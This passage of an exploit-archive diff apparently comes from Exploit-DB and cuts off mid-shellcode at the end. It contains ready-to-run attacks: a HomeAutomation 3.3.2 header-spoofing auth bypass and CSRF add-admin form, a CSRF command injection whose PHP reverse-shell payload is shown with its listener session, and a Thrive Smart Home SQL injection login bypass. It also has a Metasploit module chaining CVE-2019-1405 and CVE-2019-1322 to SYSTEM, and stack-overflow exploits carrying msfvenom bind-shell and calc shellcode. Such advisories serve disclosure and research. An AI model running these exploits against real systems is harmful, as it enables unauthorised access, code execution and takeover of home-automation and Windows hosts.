739: $isIpLocal = false;
740:
741: $localip = $_SESSION[CFG_SESSION_KEY]["settings"]["localip"];
742:
743: $localnets = explode(";", $localip);
744: foreach($localnets as $localnet) {
745: list($localnet, $localmask) = explode("/", $localnet);
746: if($localmask == "") {
747: $localmask = 32;
748: }
749: if($localmask == "" || $localmask > 32 || $localmask < 0) {
750: $localmask = 32;
751: }
752:
753: // $mask = $localmask;
754:
755: $localnet = ip2long($localnet);
756: $localmask = ~((1 << (32-$localmask)) - 1);
757: $remoteip = ip2long(getIpAddress());
758: $maskedip = $remoteip & $localmask;
759: $maskednet = $localnet & $localmask;
760:
761: // echo "<br />localnet:";
762: // printf('%1$32b', $localnet);
763:
764: // echo "<br />localmask: (dec: ".$mask.")";
765: // printf('%1$32b', $localmask);
766:
767: // echo "<br />remoteip:";
768: // printf('%1$32b', $remoteip);
769:
770: // echo "<br />maskedip:";
771: // printf('%1$32b', $maskedip);
772:
773: // echo "<br />maskednet:";
774: // printf('%1$32b', $maskednet);
775:
776: if($maskedip == $maskednet) {
777: // echo "<br />maskedip == maskednet";
778: $isIpLocal = true;
779: break;
780: }
781: }
782: // $isIpLocal = false;
783: return $isIpLocal;
784: }
785:
786: function getIpAddress() {
787: return isset($_SERVER["HTTP_X_FORWARDED_FOR"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
788: }
===============================================================================
Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
Apache/2.4.29 (Ubuntu)
PHP/7.4.0RC4
PHP/7.3.11
PHP 7.2.24-0ubuntu0.18.04.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5557
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5557.php
06.11.2019
--
PoC auth bypass and arbitrary cookie setup grepping auth'd content view:
------------------------------------------------------------------------
root@kali:~/homeautomation# curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/index.php -H "X-Forwarded-For: 127.31.33.7" -vL --cookie "PHPSESSID=11111111110000000000666666" |grep Macros
* Trying 192.168.2.113...
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 696 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
* server certificate verification SKIPPED
* server certificate status verification SKIPPED
* common name: n28.nux.se (does not match '192.168.2.113')
* server certificate expiration date OK
* server certificate activation date OK
* certificate public key: RSA
* certificate version: #3
* subject: CN=n28.nux.se
* start date: Mon, 21 Oct 2019 12:18:27 GMT
* expire date: Sun, 19 Jan 2020 12:18:27 GMT
* issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
* compression: NULL
* ALPN, server accepted to use http/1.1
> GET /index.php HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> X-Forwarded-For: 127.31.33.7
>
< HTTP/1.1 303 See Other
< Date: Wed, 20 Nov 2019 01:06:16 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Location: ./index.php?page=houseplan
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 192.168.2.113 left intact
* Issue another request to this URL: 'https://192.168.2.113/index.php?page=houseplan'
* Found bundle for host 192.168.2.113: 0x55c160ef7c40 [can pipeline]
* Re-using existing connection! (#0) with host 192.168.2.113
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
> GET /index.php?page=houseplan HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
> X-Forwarded-For: 127.31.33.7
>
< HTTP/1.1 200 OK
< Date: Wed, 20 Nov 2019 01:06:16 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
{ [6 bytes data]
* </li><li>| <a href="./index.php?page=macros">Macros</a>
Connection #0 to host 192.168.2.113 left intact
root@kali:~/homeautomation# curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/index.php -vL --cookie "PHPSESSID=11111111110000000000666666" |grep Macros
* Trying 192.168.2.113...
* Connected to 192.168.2.113 (192.168.2.113) port 443 (#0)
* found 173 certificates in /etc/ssl/certs/ca-certificates.crt
* found 696 certificates in /etc/ssl/certs
* ALPN, offering h2
* ALPN, offering http/1.1
* SSL connection using TLS1.2 / ECDHE_RSA_AES_128_GCM_SHA256
* server certificate verification SKIPPED
* server certificate status verification SKIPPED
* common name: n28.nux.se (does not match '192.168.2.113')
* server certificate expiration date OK
* server certificate activation date OK
* certificate public key: RSA
* certificate version: #3
* subject: CN=n28.nux.se
* start date: Mon, 21 Oct 2019 12:18:27 GMT
* expire date: Sun, 19 Jan 2020 12:18:27 GMT
* issuer: C=US,O=Let's Encrypt,CN=Let's Encrypt Authority X3
* compression: NULL
* ALPN, server accepted to use http/1.1
> GET /index.php HTTP/1.1
> Host: 192.168.2.113
> User-Agent: ZSL/0.2 (SpoofDetect 1.0)
> Accept: */*
> Cookie: PHPSESSID=11111111110000000000666666
>
< HTTP/1.1 200 OK
< Date: Wed, 20 Nov 2019 01:06:25 GMT
< Server: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
< X-Powered-By: PHP/7.3.11
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Strict-Transport-Security: max-age=63072000; includeSubdomains
< X-Frame-Options: DENY
< X-Content-Type-Options: nosniff
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
{ [6 bytes data]
</li><li>| <a href="./index.php?page=macros">Macros</a>
* Connection #0 to host 192.168.2.113 left intact
root@kali:~/homeautomation#
PoC auth bypass retrieving valid Cookie:
-----------------------------------------
root@kali:~/homeautomation# $(curl -sk --user-agent "ZSL/0.2 (SpoofDetect 1.0)" https://192.168.2.113/?page=houseplan -L -H "X-Forwarded-For: 127.1.1.1" --cookie-jar cookies.txt -o /dev/null) ; echo -ne "Your cookie: " ;tail -c -27 cookies.txt
Your cookie: k4dic6crpr4d4u71tr13gvtmsv

68
exploits/php/webapps/47808.txt Normal file
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# Exploit: HomeAutomation 3.3.2 - Cross-Site Request Forgery (Add Admin)
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5558
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php
HomeAutomation v3.3.2 CSRF Add Admin Exploit
Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2
Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.
Desc: The application interface allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests. This can
be exploited to perform certain actions with administrative privileges if a logged-in
user visits a malicious web site.
Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
Apache/2.4.29 (Ubuntu)
PHP/7.4.0RC4
PHP/7.3.11
PHP 7.2.24-0ubuntu0.18.04.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5558
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5558.php
06.11.2019
--
<html>
<body>
<form action="http://localhost/homeautomation_v3_3_2/?page=conf-usercontrol" method="POST">
<input type="hidden" name="id" value="-1" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="editable" value="2" />
<input type="hidden" name="username" value="testingus" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="firstname" value="Tester" />
<input type="hidden" name="lastname" value="Testovski" />
<input type="hidden" name="email" value="test@zeroscience.mk" />
<input type="hidden" name="userlevel" value="3" />
<input type="hidden" name="save" value="Save" />
<input type="submit" value="Addmoi" />
</form>
</body>
</html>

96
exploits/php/webapps/47809.txt Normal file
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@ -0,0 +1,96 @@
# Exploit: HomeAutomation 3.3.2 - Remote Code Execution
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Tom Rosenback and Daniel Malmgren
# Product web page: http://karpero.mine.nu/ha/
# Affected version: 3.3.2
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5560
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php
HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC
Vendor: Tom Rosenback and Daniel Malmgren
Product web page: http://karpero.mine.nu/ha/
Affected version: 3.3.2
Summary: HomeAutomation is an open-source web interface and scheduling solution.
It was initially made for use with the Telldus TellStick, but is now based on a
plugin system and except for Tellstick it also comes with support for Crestron,
OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
etc.) based on an advanced scheduling system, taking into account things like
measurements from various sensors. With the houseplan view you can get a simple
overview of the status of your devices at their location in your house.
Desc: The application suffers from an authenticated OS command execution vulnerability
using custom command v0.1 plugin. This can be exploited with CSRF vulnerability to
execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off'
POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by
using an unsanitized PHP exec() function.
===============================================================================
/system/systemplugins/customcommand/customcommand.plugin.php:
-------------------------------------------------------------
77: function toggleDevices($devicesToToggle, $statuses) {
78: $output = array();
79: $command = "";
80:
81: foreach($devicesToToggle as $device)
82: {
83: $status = $statuses[$device["id"]];
84: if($status == 0) {
85: $command = $this->getSettings("command_off");
86: } else {
87: $command = $this->getSettings("command_on");
88: }
89:
90: if(!empty($command)) {
91: $command = replaceCustomStrings($command, $device, $statuses[$device["id"]]);
92:
93: exec($command, $output);
94:
95: SaveLog("Command: ".$command."\nOutput:\n".parseExecOutputToString($output));
96: }
97: }
98:
99: return "";
100: }
===============================================================================
Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
Apache/2.4.29 (Ubuntu)
PHP/7.4.0RC4
PHP/7.3.11
PHP 7.2.24-0ubuntu0.18.04.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5560
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php
06.11.2019
--
POST /homeautomation_v3_3_2/?page=conf-systemplugins HTTP/1.1
plugin=customcommand&action=savesettings&set_command_on=php+-r+%27%24sock%3Dfsockopen%28%22127.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&set_command_off=&savesettings=Save
-
lqwrm@metalgear:/$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from localhost 40724 received!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ pwd
/var/www/html/homeautomation_v3_3_2
$ exit
lqwrm@metalgear:/$

66
exploits/php/webapps/47814.txt Normal file
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# Exploit: Thrive Smart Home 1.1 - Authentication Bypass
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Thrive
# Product web page: http://www.thrivesmarthomes.com
# Affected version: 1.1
# Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
# Advisory ID: ZSL-2019-5554
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php
Thrive Smart Home v1.1 SQL Injection Authentication Bypass
Vendor: Thrive
Product web page: http://www.thrivesmarthomes.com
Affected version: 1.1
Summary: As smart home technology becomes more affordable and easy to
install with services offered by Thrive Smart Homes, there are some
great options available to give your home a high-tech makeover. If the
convenience of feeding your cat or turning on your air conditioning with
a tap on your smartphone isn't enough of a reason to make the investment,
consider how conveniently you can protect your home and belongings. From
Wi-Fi-equipped smoke detectors to plugs with auto turn-offs, smart homes
with their always-on connectivity and notifications systems allow consumers
to quickly respond to the unexpected. For instance, if you install a smart
water leak and moisture monitoring device, you can set up alerts on your
phone for unusual changes in moisture and stop leaks before they cause major
flooding or mold. It's a convenient way to proactively protect your home
from costly damage, whether it's an overflowing laundry tub, a cracked
washer hose, or a leaky water heater.
Desc: The application suffers from an SQL Injection vulnerability. Input
passed through 'user' POST parameter in checklogin.php is not properly
sanitised before being returned to the user or used in SQL queries. This
can be exploited to manipulate SQL queries by injecting arbitrary SQL
code and bypass the authentication mechanism.
Tested on: Apache httpd 2.4.25 (Raspbian)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5554
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php
21.10.2019
--
$ curl http://192.168.1.1:8080/raspberry/include/checklogin.php -X POST -d"submit=LOGIN&user=' or 1=1#&pass=pass" -i
HTTP/1.1 302 Found
Date: Mon, 21 Oct 2019 23:35:18 GMT
Server: Apache/2.4.25 (Raspbian)
Set-Cookie: PHPSESSID=6cu3frj0qes9c96v5de5vp37e2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
location: ../home.php
Content-Length: 1
Content-Type: text/html; charset=UTF-8

149
exploits/windows/local/47805.rb Executable file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft UPnP Local Privilege Elevation Vulnerability',
'Description' => %q(
This exploit uses two vulnerabilities to execute a command as an elevated user.
The first (CVE-2019-1405) uses the UPnP Device Host Service to elevate to
NT AUTHORITY\LOCAL SERVICE
The second (CVE-2019-1322) leverages the Update Orchestrator Service to
elevate from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM.
),
'License' => MSF_LICENSE,
'Author' =>
[
'NCC Group', # Original discovery (https://www.nccgroup.trust/uk/)
'hoangprod', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 12 2019',
'References' =>
[
['CVE', '2019-1322'],
['CVE', '2019-1405'],
['EDB', '47684'],
['URL', 'https://github.com/apt69/COMahawk'],
['URL', 'https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/'],
['URL', 'https://fortiguard.com/threat-signal-report/3243/new-proof-of-concept-combining-cve-2019-1322-and-cve-2019-1405-developed-1']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => false
}
))
register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('WRITABLE_DIR',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXPLOIT_TIMEOUT',
[true, 'The number of seconds to wait for exploit to finish running', 60]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end
def exploit
exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..14)
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14)
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
payload_name = "#{payload_name}.exe" unless payload_name.end_with?('.exe')
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
payload_path = "#{temp_path}\\#{payload_name}"
exploit_path = "#{temp_path}\\#{exploit_name}"
payload_exe = generate_payload_exe
# Check target
vprint_status("Checking Target")
validate_active_host
validate_target
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
# Upload Exploit
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
ensure_clean_destination(exploit_path)
exploit_bin = exploit_data('cve-2019-1322', 'CVE-2019-1322-EXE.exe')
write_file(exploit_path, exploit_bin)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
# Upload Payload
vprint_status("Uploading Payload")
ensure_clean_destination(payload_path)
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
# Run Exploit
vprint_status("Running Exploit")
print_status("It may take a moment after the session is established for the exploit to exit safely.")
begin
cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
rescue Rex::TimeoutError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Caught timeout. Exploit may be taking longer or it may have failed.")
end
vprint_status("Cleaning up #{exploit_path}")
ensure_clean_destination(exploit_path)
end
def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num > 17133 && build_num < 18362)
fail_with(Failure::NotVulnerable, 'The exploit only supports Windows 10 build versions 17133-18362')
end
end
def ensure_clean_destination(path)
return unless file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end

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exploits/windows/local/47810.py Executable file
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# Exploit Title: AVS Audio Converter 9.1.2.600 - Stack Overflow (PoC)
# Date: December 2019-12-28
# Exploit Author: boku
# Original DoS: https://www.exploit-db.com/exploits/47788
# Original DoS Author: ZwX
# Software Vendor: http://www.avs4you.com/
# Software Link: http://www.avs4you.com/avs-audio-converter.aspx
# Version: 9.1.2.600
# Tested on: Microsoft Windows 10 Home 1909(x86-64) - 10.0.18363 N/A Build 18363
# Microsoft Windows 7 Enterprise(x86-64) - 6.1.7601 Service Pack 1 Build 7601
#!/usr/bin/python
# Recreate:
# 1) Generate the 'bind9999.txt' payload using python 2.7.x on Kali Linux.
# 2) On the victim Windows machine, open the file 'bind9999.txt' with notepad, then Select-All > Copy.
# 3) Install & Open AVS Audio Converter 9.1.2.600.
# 4) Locate the textbox to the right of 'Output Folder:'; at the bottom of the main window.
# 5) Paste the copied payload from the 'bind9999.txt' file into the textbox.
# 6) Click the 'Browse...' button; to the right of the textbox.
# - The program will freeze & a bind shell will be listening on tcp port 9999; on all interfaces.
# Special thanks to: The Offsec Team, Corelan Team, Vivek/Pentester Academy Team, Skape
blt = '\033[92m[\033[0m+\033[92m]\033[0m ' # bash green success bullet
err = '\033[91m[\033[0m!\033[91m]\033[0m ' # bash red error bullet
File = 'bind9999.txt'
try:
# 0x00400000 [AVSAudioConverter.exe]
# 9.1.2.600 (C:\Program Files (x86)\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)
# - The only module that has SafeSEH disabled.
# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll |
# 0x00400000 | 0x00f33000 | False | False | False | False | False |
# - Attempting a 3-byte SEH-handler overwrite will fail due to no exception being thrown.
offEdx = '\x41'*260
edx = '\x42\x42\x42\x42' # EDX overwrite at 260 bytes. EDX=0x42424242
# SEH-Record overwrite at offset 264; the goal from here is to not throw an exception or we're screwed.
nSEH = '\x42'*4
SEH = '\x43'*4
# - If address at offset 308 is not readable, then the program will throw an exception at:
# 75F9ECE7 3806 cmp byte ptr ds:[esi], al
# [!] Access violation when reading [esi]
# - If we can get past this exception, we can overwrite EIP at offset 304.
# - [esi] must be successfully overwriten so we can put our payload after it.
offEip = '\x45'*32
# - AVSAudioEditor5.dll is the only other module with both ASLR & Rebase disabled.
# - The enabled SafeSEH blocks us from using it for a SEH overwrite, but we can still jump
# to it with a vanilla EIP overwrite; due to overwriting a return address on the stack.
# - After bypassing the ESI read exception, our stack will look like this after the EIP overwrite:
# ECX=0018FA60 ESP=0018FA60 (Stack locations will vary)
# 0018FA54 45454545 EEEE // [296]
# 0018FA58 45454545 EEEE // [300]
# 0018FA5C 1006563E V... // [304] eip var # Pointer to 'pop+ret'
# *0018FA60 00000000 .... // [308] esi var # our esi address gets replaced by 4 nulls
# 0018FA64 1006A438 8... // [312] jmpEsp var # Pointer to 'jmp esp'
# 0018FA68 E510EC10 .... // [316] fixStack var # ASM to fix the Stack so shellcode will work
# [AVSAudioEditor5.dll] (C:\Program Files (x86)\Common Files\AVSMedia\ActiveX\AVSAudioEditor5.dll)
# Base | Top | Rebase | SafeSEH | ASLR | NXCompat | OS Dll |
# 0x10000000 | 0x100a1000 | False | True | False | False | False |
# 0x1006563e : pop esi # ret | ascii {PAGE_EXECUTE_READ} [AVSAudioEditor5.dll]
eip = '\x3e\x56\x06\x10' # pop+ret
# - After pop+ret, ESP=0018FA68
esi = '\x10\x10\x08\x10' # [AVSAudioEditor5.dll] | .data | RW
# 0x1006a438 : jmp esp | {PAGE_EXECUTE_READ} [AVSAudioEditor5.dll]
# - the esi var address is just a random, readable memory location that will not move; to bypass the exception.
jmpEsp = '\x38\xa4\x06\x10' # jmp esp pointer
# EBP is 45454545 at this point. Needs to be fixed for most shellcode payloads to work properly.
fixStack = '\x83\xEC\x10' # sub esp, 0x10
fixStack += '\x89\xE5' # mov ebp, esp
fixStack += '\x83\xEC\x60' # sub esp, 0x60
#msfvenom -p windows/shell_bind_tcp LPORT=9999 -v shellcode -a x86 --platform windows -b '\x00' --format python
# x86/shikata_ga_nai succeeded with size 355 (iteration=0)
shellcode = b""
shellcode += b"\xbe\xd8\x49\x8d\x72\xd9\xe5\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x53\x31\x72\x12\x83\xea\xfc"
shellcode += b"\x03\xaa\x47\x6f\x87\xb6\xb0\xed\x68\x46\x41"
shellcode += b"\x92\xe1\xa3\x70\x92\x96\xa0\x23\x22\xdc\xe4"
shellcode += b"\xcf\xc9\xb0\x1c\x5b\xbf\x1c\x13\xec\x0a\x7b"
shellcode += b"\x1a\xed\x27\xbf\x3d\x6d\x3a\xec\x9d\x4c\xf5"
shellcode += b"\xe1\xdc\x89\xe8\x08\x8c\x42\x66\xbe\x20\xe6"
shellcode += b"\x32\x03\xcb\xb4\xd3\x03\x28\x0c\xd5\x22\xff"
shellcode += b"\x06\x8c\xe4\xfe\xcb\xa4\xac\x18\x0f\x80\x67"
shellcode += b"\x93\xfb\x7e\x76\x75\x32\x7e\xd5\xb8\xfa\x8d"
shellcode += b"\x27\xfd\x3d\x6e\x52\xf7\x3d\x13\x65\xcc\x3c"
shellcode += b"\xcf\xe0\xd6\xe7\x84\x53\x32\x19\x48\x05\xb1"
shellcode += b"\x15\x25\x41\x9d\x39\xb8\x86\x96\x46\x31\x29"
shellcode += b"\x78\xcf\x01\x0e\x5c\x8b\xd2\x2f\xc5\x71\xb4"
shellcode += b"\x50\x15\xda\x69\xf5\x5e\xf7\x7e\x84\x3d\x90"
shellcode += b"\xb3\xa5\xbd\x60\xdc\xbe\xce\x52\x43\x15\x58"
shellcode += b"\xdf\x0c\xb3\x9f\x20\x27\x03\x0f\xdf\xc8\x74"
shellcode += b"\x06\x24\x9c\x24\x30\x8d\x9d\xae\xc0\x32\x48"
shellcode += b"\x5a\xc8\x95\x23\x79\x35\x65\x94\x3d\x95\x0e"
shellcode += b"\xfe\xb1\xca\x2f\x01\x18\x63\xc7\xfc\xa3\xac"
shellcode += b"\x17\x88\x42\xd8\x37\xdc\xdd\x74\xfa\x3b\xd6"
shellcode += b"\xe3\x05\x6e\x4e\x83\x4e\x78\x49\xac\x4e\xae"
shellcode += b"\xfd\x3a\xc5\xbd\x39\x5b\xda\xeb\x69\x0c\x4d"
shellcode += b"\x61\xf8\x7f\xef\x76\xd1\x17\x8c\xe5\xbe\xe7"
shellcode += b"\xdb\x15\x69\xb0\x8c\xe8\x60\x54\x21\x52\xdb"
shellcode += b"\x4a\xb8\x02\x24\xce\x67\xf7\xab\xcf\xea\x43"
shellcode += b"\x88\xdf\x32\x4b\x94\x8b\xea\x1a\x42\x65\x4d"
shellcode += b"\xf5\x24\xdf\x07\xaa\xee\xb7\xde\x80\x30\xc1"
shellcode += b"\xde\xcc\xc6\x2d\x6e\xb9\x9e\x52\x5f\x2d\x17"
shellcode += b"\x2b\xbd\xcd\xd8\xe6\x05\xfd\x92\xaa\x2c\x96"
shellcode += b"\x7a\x3f\x6d\xfb\x7c\xea\xb2\x02\xff\x1e\x4b"
shellcode += b"\xf1\x1f\x6b\x4e\xbd\xa7\x80\x22\xae\x4d\xa6"
shellcode += b"\x91\xcf\x47"
payload = offEdx+edx+nSEH+SEH+offEip+eip+esi+jmpEsp+fixStack+shellcode
# offsets: 0 260 264 268 272 304 308 312 316 324
f = open(File, 'w') # open file for write
f.write(payload)
f.close() # close the file
print blt + File + " created successfully "
# root@kali# nc <Victim IP> 9999
# Microsoft Windows [Version 6.1.7601]
# C:\Program Files (x86)\AVS4YOU\AVSAudioConverter>
except:
print err + File + ' failed to create'

90
exploits/windows/local/47812.py Executable file
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# Exploit Title: FTP Navigator 8.03 - Stack Overflow (SEH)
# Date: December 28th, 2019
# Exploit Author: boku
# Discovered by: Chris Inzinga
# Original DoS: FTP Navigator 8.03 - 'Custom Command' Denial of Service (SEH)
# Original DoS Link: https://www.exploit-db.com/exploits/47794
# Software Vendor: http://www.internet-soft.com/
# Software Link: https://www.softpedia.com/dyn-postdownload.php/5edd515b8045f156a9dd48599c2539e5/5dfa4560/d0c/0/1
# Version: Version 8.03
# Tested on: Microsoft Windows 7 Enterprise - 6.1.7601 Service Pack 1 Build 7601 (x86-64)
# Recreate:
#!/usr/bin/python
# 1) Generate 'poc.txt' payload using python 2.7.x
# 2) On target Windows machine, open the file 'poc.txt' with notepad, then Select-All & Copy
# 3) Install & Open FTP Navigator v8.03
# 4) Go to Menu Bar > FTP-Server Drop-down > click Custom Command
# - A textbox will appear on the bottom of the right window
# 5) Paste payload from generated txt file into textbox
# 6) Click "Do it"
# - The program will crash & calculator will open
blt = '\033[92m[\033[0m+\033[92m]\033[0m ' # bash green success bullet
err = '\033[91m[\033[0m!\033[91m]\033[0m ' # bash red error bullet
try:
nops = '\x90'*400
# msfvenom -p windows/exec CMD='calc' -b '\x00' --platform windows -v shellcode -a x86 -f python -e x86/alpha_upper
#x86/alpha_upper succeeded with size 447 (iteration=0)
shellcode = b""
shellcode += b"\x89\xe7\xda\xd6\xd9\x77\xf4\x58\x50\x59\x49"
shellcode += b"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a"
shellcode += b"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30"
shellcode += b"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += b"\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42"
shellcode += b"\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a"
shellcode += b"\x49\x4b\x4c\x4a\x48\x4d\x52\x35\x50\x35\x50"
shellcode += b"\x33\x30\x53\x50\x4c\x49\x4d\x35\x50\x31\x39"
shellcode += b"\x50\x52\x44\x4c\x4b\x50\x50\x56\x50\x4c\x4b"
shellcode += b"\x46\x32\x44\x4c\x4c\x4b\x31\x42\x42\x34\x4c"
shellcode += b"\x4b\x42\x52\x46\x48\x34\x4f\x4f\x47\x51\x5a"
shellcode += b"\x51\x36\x36\x51\x4b\x4f\x4e\x4c\x37\x4c\x33"
shellcode += b"\x51\x33\x4c\x44\x42\x56\x4c\x57\x50\x4f\x31"
shellcode += b"\x58\x4f\x54\x4d\x45\x51\x4f\x37\x5a\x42\x4b"
